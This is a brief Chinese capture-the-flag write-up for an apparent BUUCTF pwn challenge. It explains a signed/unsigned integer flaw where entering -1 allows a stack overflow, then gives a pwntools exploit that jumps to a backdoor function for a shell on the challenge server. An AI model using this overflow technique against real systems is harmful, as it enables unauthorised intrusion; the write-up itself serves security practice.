题目截图
例行检查
用IDA打开,在主函数中发现漏洞,变量nbytes的值由我们输入,在if判断的时候是有符号整数,在作为read函数的参数时是无符号整数,当我们输入-1时就能绕过if,同时转换为无符号整数时是一个很大的数,可以造成溢出
查找字符串发现bin/sh
交叉引用找到后门函数
exp
from pwn import*
p=remote('node4.buuoj.cn',26509)
backdoor=0x0400726
ret=0x40073a
p.sendlineafter(b'name:\n',b'-1')
payload=b'a'*(0x10+8)+p64(ret)+p64(backdoor)
p.sendlineafter(b'name?\n',payload)
p.interactive()